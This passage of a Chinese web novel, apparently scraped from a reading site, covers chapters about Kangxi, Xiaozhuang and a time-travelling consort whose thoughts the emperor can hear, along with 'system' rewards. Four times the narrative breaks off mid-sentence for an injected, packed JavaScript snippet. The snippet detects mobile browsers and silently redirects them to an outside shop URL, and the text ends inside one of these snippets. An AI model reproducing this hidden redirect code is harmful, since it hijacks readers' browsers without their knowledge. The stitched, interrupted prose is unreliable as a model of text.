她看着康熙继续说道:“启祥宫是不是快修缮好了?到时候让齐佳氏搬入启祥宫,给个嫔位也算看在她齐佳血脉的身份上的恩赐了。” “一切听额涅玛玛的。”康熙没想到会引起孝庄如此反应甚至还波及齐佳氏,但他也不想如此和祖母直接反抗,只能点头应下。 见孝庄脸色依旧不悦,他又笑着说道:“皇祖母教诲,孙儿铭记在心。” “孙儿自幼饱读诗书,深知我大清以国语骑射为立国之本,这剃发易服之制,正是维系我满洲根本彰显朝廷威仪的基石,孙儿岂敢轻言废弃。” 见他如此说软话,孝庄脸上终于浮现出一抹笑意。 风波就这样暂且过去,直到月色将晚时,康熙才带着些许疲惫走出慈宁宫。 想了想,他看向梁九功:“皇贵妃那边可安排御医过去了?” “已经安排了。” “那就过去看看。”康熙轻吐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543754|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气后,坐上御撵。 正巧御医刚刚赶到,和康熙在承乾宫门口相遇,便一同进了承乾宫。 皇贵妃没想到康熙会带着御医来看自己,但也没多说什么。 “表妹今日脸色可不佳,有些事大可交给宫人们去做,你该好好休养才是。”看着皇贵妃脸上有些苍白,竟不如往日那般有血色,康熙有些担忧道。 “放心吧表哥,我心里有数。”皇贵妃不知道为什么康熙今日这般关注自己身体,只当他想到了前两任皇后,但也难得对他的温情所感动,连自称都换了更亲近的“我”。 康熙看着烛火下皇贵妃这张秀丽的脸上透出的温柔,突然心中起了一个念头:“表妹此时……在想什么?” 皇贵妃被他看得心下有些发毛,压下满心不舒服的感觉,她奇怪问道:“表哥?怎么了?” 康熙摇了摇头,勾起嘴角:“没,只是觉得表妹越发……温柔了。” “如今我年岁也不小了,怎能还像过去那般。”皇贵妃脸颊微红微微低头,垂下眼眸,只那眸子里却不见丝毫羞涩,只有满满的冷静。 康熙看着她几乎看不清的笑脸,却不知道为什么怎么都想象不出那该是怎样的笑容,他总觉得这时的皇贵妃就像披了一层纱,让他无法看清。 他知道这是因为他见到了一个身心都能被他看透的人,让他开始无法适应只靠外表去看透一个人了…… 康熙并没有再多说什么,诊脉后,和皇贵妃又简单说了几句话,就直接带着御医离开了。 皇贵妃并不奇怪他这样的举动,康熙一向遵从养生之道,一个月也不过入后宫几次而已,更不会随意留宿宫妃寝宫。 “皇贵妃身体如何?”御撵行走在宫墙间,在这黄昏时刻透着几分说不上的寂寥。 “还是如以往一般,有些天生体弱,并无其他病症。”御医将脉案简单说了下。 康熙并不意外,摆了摆手让人退下:“嗯,以后三日给皇贵妃请一次平安脉,退下吧。” 御医退去,宫墙间便只剩下御撵和宫人们细微的脚步声,康熙坐在御撵之上,看着橙红色的天空中,一只只乌鸦飞过落在屋檐上,落在城墙上。 “朕……想做的不仅是满蒙的皇帝,也是天下人的皇帝啊……” 夜晚躺在乾清宫的龙床上,康熙怎么都睡不着,白日里齐满月的心声和孝庄刚刚的反驳不断地在他脑海中交替闪过。 “朕……到底如何做才好?” 许久后,他突然坐起身,直接冲宫外喊了一声:“来人!” 梁九功正微垂着头闭眼养神,听着康熙的话吓了一跳,赶忙回神手忙脚乱地推门进去。 “召永寿宫齐佳贵人侍寝。”康熙眼中闪过一丝坚决,直接吩咐道。 梁九功不由愣在当场,要知道康熙可是非常讲究体面的人,后宫妃嫔侍寝本就由敬事房进行安排,整个侍寝过程更是严格遵守宫规,从康熙即位以来,他很少为此破例。 却不承想今日为这个进宫不过数日的贵人破例。 “还不滚去!”康熙见他竟然呆立原地,忍不住轻呵一声。 梁九功赶忙跪下请罪,又快步跑出寝殿去安排。 康熙看着他的身影离开,那种完全失控的感觉,在这一刻终于有了一点能够抓住的实感。这一刻……他非常确定,齐佳氏将是这个世界上唯一一个无法欺骗他的存在。 14. 第一次侍寝 被人从美梦中唤醒是一件足以让任何一个好脾气的人爆炸的事情。 对本就有点起床气的齐满月更是如此,只是云秀那句:“皇上召小主侍寝”的话停在耳边,而她怎么都无法将脾气发出来。 云秀扶着她连耽搁都没敢耽搁,直接将她扶到屏风后面,简单沐浴了一番,随后又扶到梳妆台前为她梳洗。 “小主如此容貌便是简单梳洗亦是好的,时辰也不早了,咱们还是赶紧走吧。”敬事房的太监一脸谄媚的上前低声催道。 齐满月虽然也喜欢打扮得精致些,可现在她实在没心情也没心思打扮,便顺着太监的话劝道:“就这样吧,云秀。” 云秀见状也只得选了两根素银簪子和一朵浅色绒花,这才收了手。 “时间紧迫,今天破例召了软轿过来,小主上轿吧。”敬事房的太监赶忙上前解释道。 齐满月悄悄打了个哈欠,扯了扯云秀的衣角。 云秀本就觉得惊喜,更不会像齐满月所想的那样多说什么,只满心欢喜地将齐满月送上软轿。 永寿宫距离乾清宫并不远,即便软轿走得再慢,也很快到了乾清宫。 不过这个时候的宫道上安静的有些可怕,只有不远处的巡逻侍卫们脚步声在这个夜晚时不时响起,才让这个夜晚不算多么寂寥。 “哇——哇——哇——”几声粗粝的沙哑的长音在夜空中响起,那带着些许喉音渐渐靠近齐满月坐的轿撵。 不多时,抬轿的太监和旁边的宫人发出几声轻呼,困得迷迷糊糊的齐满月睁开眼,被一双双黑亮的圆点吓得一下子精神大振。 不等她惊叫出来,她就反应过来面前的是几只乌鸦。 宫人们的异样眼神若有若无地扫过齐满月,这些供奉的神鸟可从未靠近过这个宫里任何一个人,即便是圣上…… 隐秘的交流就这样在宫人间彼此流转,然后以一种极快却足够隐晦的方式传进后宫的众人耳中。 齐满月就这样和乌鸦面对面无言着被抬进乾清宫。 “这……这……”别说这一路上宫人和侍卫们的惊诧,就算是梁九功见了这幅场景也不由有些语塞。 犹豫了片刻后,他舔了舔唇,试探地往前走了一步。 “齐佳氏来了?”康熙听到了落轿的声音,却没听见人进来,忍不住皱眉开口问道。 谁知等了片刻还是没等到回复,他不耐地站起身,连外袍都没披,就推开了殿门。 门外的场景就这样被他收入眼中,别说其他,连康熙自己都不由被这场景震惊得一时间无法开口。 “扑扑!”乌鸦们扭头看了眼康熙,又看了眼齐满月,才不约而同地展翅飞离这里。 神鸟走了,众人自然回神,赶忙该干嘛干嘛,齐满月也赶忙在宫人的搀扶下走下软轿。 康熙本以为她会说出神鸟什么具有神性的话,结果就听到齐满月的心声里不断尖叫:“啊啊啊我的腿都麻了!救命救命救命!!” “吓死宝宝了,我都不敢动的啊,万一挠我呢?!我长得那么好看,被挠了岂不是可惜了!” 康熙没想到对方心声是这样的,他无语地侧过身偷偷翻了个白眼,才对身后的女子冷声道:“还不进来?!” 齐满月赶忙给他行礼,乖顺地跟着走入乾清宫寝宫。 “啊啊啊,才看到康熙怎么摘帽子了?!这就是传说中的金钱鼠尾吗?好!难!看!!” 康熙身体一僵,心中缓缓涌上一个念头,自己不顾名声将对方召过来,是不是错了? 不等他细想,那心声再次不断响起:“说起来,后世认为雍正登基后侍寝规则改成让后妃们在围房等候,连洗漱都在围房,还要脱光光给太监检测,再被太监用大氅包起来背到龙床前,从脚的地方从下爬上去这点,是由这个爹带头改的,应该不会是吧……太羞辱人了……” 康熙本打算转身坐在龙床上,动作却一顿,他有些不可置信地扫过垂着头一脸懵懂带着羞意的齐满月:“老四?!他怎么能这样做?竟然容得后妃如此被太监折辱?简直……荒唐!” “咦?他坐过去了?那应该不会是那种变态吧……吓死我了。” 康熙坐在龙床细细打量着齐满月。 齐满月如今的容貌别说是清朝,就算是到了后世也是可以进娱乐圈争个艳压群芳的名头的,这张脸堪称淡妆浓抹总相宜,更别说她身体纤细,透着几分特有的纤弱,却不见多少病态。 康熙年间的宫装虽不如后世那般放量,但也不会多显出女子的身形,可即便如此康熙也能凭借经验看出这厚重宫装下,面前的人有着何等优秀的身材。 “啊啊啊,他眼神好恶心!!”康熙正沉浸在欣赏美人的情绪中,却不承想被齐满月一个心声打断兴趣。 康熙无语地扫过乖巧站在一侧的齐满月,实在无法理解对方怎么能在心里闹成那样还能保持外表的乖巧胆小,简直是心口不一第一人。 “齐佳氏,过来。”他垂眸略作思考,顿时有了个主意,眼眸中带着几分笑意唤了一声。 齐满月赶忙小步走到康熙面前。 “坐。”康熙眼中的戏谑已经快掩盖不住了。 “啥呀?睡前还聊心?别啊,赶紧睡就是,我会闭上眼不看这个发型的,就当被狗咬了!好歹有经验应该不至于让我不舒服!” 康熙脸上的逗弄在听到这段心声后骤然消失,他斜睨着低垂着头的齐满月,对着虚空使劲儿翻了个白眼,才下意识抬头摸了摸头顶上细细的辫子。 “算了,你去暖阁睡吧。”他不是一个喜欢强迫女人的人,自然也不想听着对方忍辱负重的心声让对方侍寝。 “咦?!竟然没打算让我侍寝!?你是眼瞎吗?我那么大一个大美女!!!”谁承想对方根本不领情。 就当康熙要反悔的时候,齐满月的心声却再次响起:“算了,不睡也是好事,毕竟虽然脸还行,但发型真不行!” “还!不!去!”康熙咬着牙根,看着胆大妄为的女人,再次提醒道。 齐满月也不敢再在心里说什么,乖乖叩头后,跟着被康熙喊进来的梁九功去了隔壁暖阁睡觉。 康熙听着隔壁齐满月心声不住传来,除了骂他扰人清梦又心情不定外倒也没多说什么,听着这些声音不知为何他莫名有种安心的感觉,睡意也在这时涌上来。 “……说起来,清朝后期的大辫子比金钱鼠尾还好那么一丢丢,要是他像电视剧演的大辫子的话,也不是不能接受,好歹……没那么丑了。” 康熙猛地睁开眼,大辫子?清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543755|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝后期? 不等他细想,隔壁心声消失,只传来一些不成句的梦呓,他想将对方叫醒又一时间找不到合适的理由,可偏偏齐满月留下的这句话让他对如何改制有了新的灵感,好不容易来的困意彻底消散。 次日一早,齐满月被破例召寝还留宿乾清宫的事情在请安的时候就被几位宫妃话赶话说了出来。 除了皇贵妃是明确知道皇帝并没有真的让齐满月侍寝,也没让她用印这件事,其他的妃嫔却不知道内情,只当她真的侍寝了。 这样的破例固然不足以让高位嫔妃们说什么,却让一些嫔位和贵人位的妃嫔开始看齐满月,眼神不对了。 “不愧是齐佳贵人,这幅好容貌倒是让皇上破例召寝,不像我等容貌平平,不足以让皇上记挂。”开口的妃嫔齐满月并不认识,但凭借着装束猜出对方应该是某个嫔位娘娘。 “就是,哎呀这入宫还未五日就被皇上召奉驾两次,侍寝一次,果然好福气啊。”又一个不熟悉的贵人开口说道。 这话一出口即便是上位的高位嫔妃们脸色都有些不好看了。 皇贵妃凤眸扫过开口的嫔妃,又看向一脸无辜胆怯的齐满月,不过片刻就冷声打断了高位嫔妃:“行了,齐佳贵人乖巧懂事,又是出身八大姓,皇上看重几分本就应该,你没让皇上记住是你没那个本事。” 说着她环视一圈后,直接冷厉吩咐道:“本宫虽然性子好,可容不得你们使用什么下作手段,入了宫不求你们和和睦睦,只各位好生记得,你们身后还有家人亲族。” 这话说得算是极重,别说小嫔妃们,就连几个高位嫔妃都是脸色一变,齐齐起身:“我等知晓。” 见状皇贵妃不再说什么,直接起身往外走:“走吧,给太皇太后、太后请安去。” 一行人又像往常一样往慈宁宫请安,本以为如往日那般,众人请安后便回承乾宫,之后就各自散去。 可今日竟然在众人还未请完安时,太皇太后就直接吩咐道:“行了,我这边没什么事儿,你们都散了吧。” “齐佳氏留下。” 众位嫔妃倒没多意外齐满月被留下,毕竟齐佳好歹是满蒙大姓,太皇太后给几分颜面也是正常的。 只是宜妃、惠妃、荣妃这样的老人却眼露诧异。 太皇太后虽深有威严,可对待后宫嫔妃们倒也算温和,她们头一次听到太皇太后用这样不客气的语气直呼一个妃嫔的姓氏,而非位分。 齐满月不知道为何,也有种莫名的危机感:“嘶……咋了?谁惹我偶像生气了?” 她的心声传到孝庄耳中,孝庄本来板着的脸也不由晴了些许。 “哎?怎么感觉像是生我的气?!我做什么了吗?” 齐满月偷偷抬眼看了眼孝庄,又赶忙低下头:“不对啊?该不会是因为昨天侍寝的事情吧?关我啥事!?都是康熙那个狗皇帝!再说最后我也没侍寝啊!我在暖阁睡了一宿。” 孝庄听到这愣了一瞬,她倒是知道皇帝召齐满月侍寝的事情,但也没多想,毕竟如此美人皇帝忍不住也不算稀奇,即便有些破例但也不算多严重,只是没想到皇帝竟然让人在暖阁睡了一宿。 想到这里,她也瞬间明白过来康熙的想法,心下对齐满月的那些不满竟然消散了些许。 15. 系统第一波奖励 “你一个人在永寿宫可觉得寂寞?启祥宫快修缮好了,那边之前也住了不少小嫔妃,不如让你去做个主位娘娘?”孝庄虽然对齐满月有了几分好脸色,但到底没有真的放下心。 启祥宫? 齐满月心思一动,启祥宫在康熙在位期间其实很长一部分时间都没有任何嫔妃居住,再加上启祥宫地位偏僻,是西六宫最后一个修缮的地方,所以说它是冷宫也未尝不可。 “我……?得罪她老人家了?”齐满月的心声里满是不可置信,“怎么就突然把我发配了?” 孝庄用水杯挡住了自己微微抽动的嘴角:“咳,老身也知道启祥宫偏僻了些,但你若是搬到了启祥宫至少也是一个嫔位,倒也不算亏待你。” “谢太皇太后恩赐,奴婢并不觉亏待,能够得一嫔位是奴婢的福分。”齐满月虽然是有点嫌弃启祥宫偏远,到时候请安走得更远,而且还要和别人一起住,但嫔位哎~ 康熙这个人对宫妃虽然也称得上大方,可那也是针对那些身世好、孩子生得多的,他可是极度重视妃嫔的出身。 要知道他不少出身地位低微的也生过孩子的妃嫔待在低位嫔妃位置上一辈子,甚至还可能被他送出去。 虽然齐满月认为自己身为齐佳氏,纵然官场上没有什么助力,但姓氏好,康熙将她送走的可能性不大,但是给她太高地位也不太可能,甚至需要熬时间。 而她现在不过是搬个宫,就有可能当上主位嫔妃,怎么可能不心动! 听着她心里这一连串的想法,孝庄心下不禁摇了摇头:“这丫头,便是送哪个出去也送不了她的。” 看着齐满月这样想过后,她心里对她的些许不满也更减了几分。 “别说不愧是孝庄皇后为人就是大气!” 孝庄忍俊不禁地轻咳着,然后继续听着齐满月的心声。 “到底是在清朝刚入关时,能够从一群权臣手中扶着才几岁的儿子坐稳江山的女人,纵使后世有些人猜测她是依靠于男人,我却宁愿这是她本身的能力,而且依靠男人怎么了?男人还依靠女人呢!” 孝庄下意识地点了点头赞同,却又赶忙反应过来,尴尬地喝了口奶茶。 “这可是能够被后世女孩子们评为偶像之一的女性掌权者之一!就算她是绝对的满清旧俗认可者,我也无法对她生出恶感啊……” “不过启祥宫到底偏了些,其他宫里已有主位娘娘,倒是永寿宫……”孝庄被齐满月这些心声一哄,下意识就开口说道。 孝庄却在话没说完时突然反应过来。 齐满月入宫还没几天,启祥宫修缮还要数月,到时候迁宫晋位倒也无妨,如今不迁宫就晋位实在有些过了。 想了想,她顿了下才继续说道:“你如今不过进宫几日,晋嫔位有些操之过急,不若再等些时日吧。” “啊哦~”齐满月在心里忍不住叹了口气,“我的嫔妃飞走咯~” 孝庄这次是真没忍住,她勾起嘴角,脸上映出一抹笑意:“放心你的嫔位跑不了。” “哈?”齐满月愣了一瞬,“我的表情那么明显吗?” “是啊,你这孩子心思太过单纯,一点子心思都在脸上,以后啊小心被人骗了去。”孝庄也反应过来自己差点儿露了馅,赶忙顺着齐满月的心声调侃道。 “呼……难怪,不愧是孝庄!” 孝庄倒也没留齐满月太久,简单说了几句后就放她回了自己宫里。 看着她的身影消失,她才叹了口气:“苏麻喇姑,你去告诉皇帝,启祥宫该怎么安排怎么安排吧,永寿宫日后就留给齐佳氏吧。” 苏麻喇姑并不知道孝庄为什么突然改变了主意,但也能猜出几分。 她跟随孝庄实在太久了,对她平日里也会调侃几句,如今更是不客气道:“也不知道是谁从昨日就将人恨不得扔到角落里去,如今又成了香饽饽了?” 孝庄忍不住嗔怪地白了她一眼:“便是不看她的能力,只她将我的阿图带了回来,就值得一个嫔位。” 苏麻喇姑见她这一副嘴硬的模样,只暗自偷笑了一下,面上还是一副非常赞同的模样点了点头:“确实值得!” 孝庄自然清楚她这是故意揶揄她,端起奶茶拒绝再搭理对方。 见状苏麻喇姑又忍不住偷笑着上前劝慰,免得这位主子气大了把自己气伤了。 康熙一下朝就听说了慈宁宫的事情,犹豫了一瞬后,他还是按捺住去找齐满月的心,如今还是不适合将对方放在风口浪尖的好。 这样想着,就想到了昨日齐满月所说的大辫子,他摩挲着自己的扳指,许久后还是开口吩咐道:“宣张英、陈廷敬。” 梁九功赶忙领命去宣旨,却不承想康熙又交代了一句:“把和硕裕亲王也叫来。” 时间过得很快,也过得很慢,快到康熙还没想到该如何和大臣们说,慢到他已经心里想了太多计划,将说辞琢磨了又琢磨,推翻又重建。 张英和陈廷敬都在南书房办公,离这边最近,来得也是最早的。 他们看着懋勤殿里竟然只有他们两个大臣不由一愣,下意识相视看了一眼,心里不由揣测到底要做什么? 等福全到了后,两人更是直接表现出意外来,他们没想到来的不是索额图、明珠这样的重臣,而是福全这位宗室王爷。 福全见到这两个汉臣也不由一愣,下意识抬头看了眼康熙,才赶忙行礼。 他本以为是自己来得早了,正好打算找个不起眼的位置等着后面的人,却不承想康熙直接开口道:“朕找你们是有件事想商议。” 张英和陈廷敬下意识看了眼彼此,才将视线转向福全,见他也是一脸迷茫后,才悄悄看了眼康熙。 康熙并没有打算拖延时间,便直接挑明道:“如今大清入关已经过去多年,当日因旧俗所以要求剃发易服。” 听到这里时,张英和陈廷敬的脸色都带上了一些复杂的情绪。 “如今世事更迭,有些旧俗也该变动一点。” “剃发易服本是国策不好轻易更改,但朕这几日一直在想是否将金钱鼠尾略作调整。” 说罢他抬眼看了一眼福全:“福全你觉得呢?” 福全被他前面的话吓了一跳,此时问他,他还愣了一瞬才回神说道:“回皇上,奴才认为是不是再考虑一下?” 康熙动作顿了下,才看向两个汉臣:“你们觉得呢?” 张英和陈廷敬相视看了眼,默契地下跪,齐声喝道:“皇上英明!” 福全蹙眉看了两人一眼,才又看向康熙,想了许久后才恭敬说道:“奴才一切听从皇上旨意。” “福全,你悄悄去办,让人暗自留发,不必像汉人那般,只要能梳起辫子就行。”见状,康熙不再说什么,直接点了福全。 福全却觉得一头雾水,这个辫子要留成什么样?多粗?怎么一点都不和他交代清楚,可他又不敢问。 “张英、陈廷敬,你们二人出个章程,如何让百姓自然接受此番政令,最好是不要被人议论太多。” “是!臣遵旨。”两位汉臣赶忙下跪领命。 康熙叹了口气,摆手让人退下。 没多久,懋勤殿的事情就传入到了慈宁宫。 “你是说皇帝传了两个汉臣和福全?”孝庄紧皱眉头,没想明白康熙到底想做什么。 “是,听说几位出来时脸色很是慎重。”小太监低垂着头,浑身战战。 孝庄总觉得哪里不对,可她如今已经退居慈宁宫也不好太过过问朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543756|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政,想了想到底选择让小太监退下。 之后的时间过得很快,孝庄没有发现康熙变动祖制的行为,也终于放下心来。 更让她放心的是,即便齐满月拥有着这样的特殊地位,康熙也没有不管不顾地宠她,反而自从那日侍寝之后,康熙一直未曾宣召她。 不仅如此,康熙也恢复了往日那般,一个月只数次进后宫,且大部分时间都去有子嗣的高位嫔妃宫里,少有几次才宠幸了几位小嫔妃。 就这样时间缓缓流逝,齐满月这段时间想尽办法给自己找乐子,光布贴画就做了七八幅了,不少都被她送给了云秀等人。 皇贵妃这些日子也没再多插手让胤禛和齐满月见面的事情,更没有在明面上维护她,就像她不过是后宫里最平常的一个小嫔妃。 宫里的一切都平淡且无趣地随着时间流逝而慢悠悠地向前走着,连胤礽都乖乖地如过去一样上课、练习、听政。 只有胤禔偶尔觉得现在的胤礽有些不对劲,但是他又想不出来哪里有问题。 直到两个月后的某天,如往日一样平静的日子里,四位执行者的耳边突然响起久违的系统声音。 “叮!恭喜各位执行者,挽救了历史中的明珠黄履庄,历史挽救进度2%,请继续努力。” 就当康熙等人认为这不过是普通的系统提醒时,下一秒系统声音再次响起。 “恭喜执行者康熙、胤礽、孝庄、胤禛完成初级任务,激活进度条,系统奖励中……请选择。” 奖励消息和系统刚出现的时候一样,他们只能听到属于自己的那个提醒和奖励,依旧无法知道除了已知之外,还有谁是执行者。 当然经过这两个多月,他们彼此已经有了较大的猜测,第四个几乎可以确定就是如今才四岁的胤禛。 不过胤禛太小了,康熙实在不想带着这么个娃娃商量政事,甚至有些事情他连太子都不想叫。只是孝庄数次要求,这才有了慈宁宫三人时不时的聚会。 “额涅玛玛选择了什么?”康熙好奇地开口问道。 孝庄虽然明白康熙这句话是试探,却也没打算隐瞒:“系统给了四个选择,寿命+1,寿命+1.5,和儿子梦中相见,最后一个是其他,并建议我选寿命+1.5。” 胤礽都不用康熙开口,直接说道:“系统让我在清醒的大脑、聪明的大脑、稳重的大脑和其他中选择,建议我选清醒的大脑。” 康熙见此也没有瞒着:“系统给我的选择,第一个是民心感知,第二个是人才罗盘,第三个是历年灾难表,第四个也是其他,它并没有给我建议。” 孝庄愣了下:“给我寿命应该是因为我年纪大了,为何给了两个寿命选择?那个符合和字是什么意思?” 说着她比划了一下。 康熙立刻反应过来:“这是西文,是加一和加一点五,也就是再加一得半数,这是指……年?” “总归第三个没用处!”孝庄忍不住的白了一眼虚空。 涉及到长辈,康熙也不好说什么。 “所以……给我三个选项都是脑子,是因为我不聪明、不清醒、不稳重?!”胤礽不可置信地指了指自己。 康熙并没有回他,而是直接下令:“来人,通知皇贵妃带四阿哥过来。” 梁九功一脸懵的进来领命,又一脸懵的出去传旨。 “等胤禛过来再说吧,我看到倒计时是十二个时辰。”康熙见那祖孙二人一脸好奇,便开口解释道。 “叫佟佳氏?你是认为她能够知道?”孝庄有些不甚赞同。 康熙叹了口气:“表妹一向聪慧,对胤禛更是一向爱护,想来早已瞒不住了。” 听他这样说,孝庄也不再说什么,一时间整个慈宁宫安静下来…… 16. 奖励到手or做猫毡 梁九功到承乾宫时,皇贵妃刚刚处理好手中宫务,正吩咐人将胤禛抱来,就见梁九功直接求见。 梁九功笑着就要行礼问安,却被后面突如其来的力道撞得往前栽去:“哎哟!” 幸好跟着他的小太监机灵,赶忙一把将他扶住,即便如此梁九功依旧扭了腰。 他倒吸一口冷气,抬眼就要看是哪个不长眼的敢撞他这个乾清宫太监总管。 却没承想,人还没看清,一个穿着杏黄色宫服的身影就从不远处扑了过来:“胤禛!” 梁九功不是傻的,他看着斜后方冲出的矮胖墩,瞬间反应过来这是四阿哥,赶忙又继续行礼:“给四阿哥请安。” “四阿哥如今越发……敦实了。”他轻揉着腰,看着胤禛胖了好几圈的腰身,张了张嘴,干巴巴地说了句夸赞。 “胤禛,还不给梁公公道歉?额娘教过你多少次,君子当行事稳重。”皇贵妃轻轻睨了梁九功一眼,才假意嗔怪地轻轻点了点胤禛的额头。 胤禛捂着头,透过皇贵妃的肩膀偷偷瞪了梁九功一眼,才低声说了句:“对不住梁公公。” “是奴才没站好,不怪四阿哥。” 梁九功自然不是真的不介意,而是对面是四阿哥,不仅是皇帝仅存的几个皇子中的一个,更是皇贵妃的心尖尖,除了大阿哥和太子,如今宫里数这位金贵,他怎敢说什么。 皇贵妃自然知道这不关梁九功的事情,给宫人使了个眼色。 秋月早早将拿出备好的金瓜子,抓了一把塞在梁九功手里:“梁公公拿去玩儿吧。” 梁九功脸上的笑意越发深了,他对着皇贵妃再三道谢后,才说明来意。 皇贵妃脸色忽地变了一下,却又转瞬消失,让梁九功都下意识以为自己看错了。 “本宫知道了,这就带胤禛过去。” 轿撵准备得极快,皇贵妃却阻止了宫人将胤禛抱到一处的举动,直接将他抱着坐上轿撵。 梁九功有些诧异地看着皇贵妃有些不合宫规的动作,但也没多说什么。 “告诉额娘,是不是发生什么了?”皇贵妃将胤禛紧紧搂在怀里,轻声问道。 胤禛点了点头,也学着她的模样趴在她的耳边轻声将系统的奖励一一说了一通。 皇贵妃眉头微蹙,下意识就反应过来是皇帝那边做了什么。 “前朝吗?”她想了想最近后宫并无要事,便明白过来是前朝变动,只是如今她并不想引起皇帝注意,这段时间也没和家里打听前朝的事情,此时竟然一无所知。 从承乾宫到慈宁宫即便再远也远不到哪儿去,不过片刻功夫就到了。 而皇贵妃看着慈宁宫,深深叹了口气,她此时也不知道前途如何,只能一切听从天意吧。 小胤禛不懂额娘为什么心事重重,只一脸开心地拉着对方的手往慈宁宫冲去。 进了慈宁宫,皇贵妃才发现整个大殿里伺候的人只有苏麻喇姑一个。 皇帝和孝庄分坐上方左右,太子坐在左下首第一位,此时见她进来赶忙行礼,转而坐到了对面。 皇贵妃带着胤禛行礼后,坐到了左边。 “想来表妹知道朕找你们过来的原因了?”康熙看梁九功下去后,直接说道。 皇贵妃没想到对方如此直白,却也点了头应下。 “那表妹也该知道系统的变化,不知道胤禛的奖励是什么?”说着康熙看向胤禛。 皇贵妃抓着胤禛的手下意识用力,却又迅速反应过来赶忙握住帕子,再将帕子轻轻盖在胤禛的手上。 “嗯,胤禛有说,系统提醒他共四个选项,分别是体力、胸怀、情绪调节器和其他,并且系统建议他选体力。” 孝庄有些诧异地看着胤禛,这明明是个怎么看都非常健康的胖墩墩的重孙子,她怎么都无法理解,系统会建议他选体力。 不过康熙和胤礽知道得多些,虽然不知道胤禛体力如何,却能够从他累死在御案上知道他的寿命不佳。 他们还以为系统会让他增加寿命,没想到是让他增加体力。 “既然如此,就让胤禛听系统的,选择体力吧。”康熙犹豫了片刻后直接吩咐道。 皇贵妃并没有提出异议,虽然不知道其他三个选项意味着什么,但是她相信系统建议选择体力。 毕竟她没有让胤禛有什么天大的未来,即便是知道他是未来的雍正帝也是如此,她宁愿她的孩子一辈子无病无灾平平安安。 康熙紧盯着皇贵妃,见她脸上并不见异常后,才稍微缓了神色,对皇贵妃说道:“此事只有你和苏麻喇姑是系统选择之外的人,朕不希望再有第七个人知道。” “臣妾谨遵圣旨。”皇贵妃赶忙起身应道。 太子被皇帝要求选择了清醒的大脑,之后他和孝庄都没有说自己选择了什么,其他人也不敢追问。 简单又聊了一番,孝庄也交代了自己打算过些时日晋齐满月为嫔位的事情。 此事康熙早就知晓,皇贵妃虽然是第一次知道却并不觉得意外,胤礽觉得挺好的,胤禛听不懂,于是这次例外的晋封就这样简单定下来了。 康熙等人离开后,苏麻喇姑侍奉孝庄斜斜躺在罗汉床上休息。 孝庄一直没说话,苏麻喇姑也不催,只在旁安静地陪着。 “那个孩子……是个有福气的。” “主子说的是四阿哥?还是……齐佳贵人?”苏麻喇姑愣了下。 孝庄没接话,沉默了片刻后才说道:“我没选寿命,到了我这个年岁多活一两年也没什么意思。” 苏麻喇姑怔愣着看着对方,许久后才轻声说了句:“嗯。” 孝庄看着外面的太阳缓缓消失在红色高墙后面,声音在这空荡的大殿里飘着:“我这辈子,对得起大清,对得起先帝,对得起皇帝……唯独……” 苏麻喇姑张了张嘴,下意识就以为孝庄选择了见顺治一面,却不承想孝庄摇了摇头。 苏麻喇姑想要开口问,却见孝庄抬手摆了摆,见此她心里纵然有千言万语要说却也只能暂且缄默,悄然退下。 孝庄躺在罗汉床上,看着慈宁宫大殿上华丽的穹顶,无声地闭了闭眼。 “系统,我选择其他是不是可以任意选择?” “执行者选择其他,可自行编写愿望,但不一定实现。” “那就……让董鄂氏有个……好的来世吧……若可以让她去齐佳氏来的地方,那里她一定会活得很好。” “系统判定中,可达成。” “当年……不怪她啊……” 孝庄想着自己和系统的刚才的对话,思绪却回到了顺治年间…… 与慈宁宫的沉默死寂不同,此时的永寿宫却可以称得上欢歌笑语热闹非凡,当然也是那种不会违反宫规的热闹。 齐满月在永寿宫待得不是一般的开心,永寿宫只有她一个妃嫔,虽然不过是贵人阶级,可本身永寿宫就有侍奉的太监宫女,此时也能勉强给她一用。 即便用不上也看着人多热闹,尤其是她做布贴画时,不少宫女凑过来帮忙,甚至有些女红不甚多好的宫女从她的布贴画上得了灵感,直接用到荷包手帕上。 今日见她又玩儿新的,更是凑上来给她帮忙。 “贵人,这样可以吗?”一个宫女小心地将梳好的猫毛展示给她看。 “嗯,之后小心地一层一层铺好。”齐满月挨个指点后,交给她们下一步。 “之后,观察下哪里有缺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 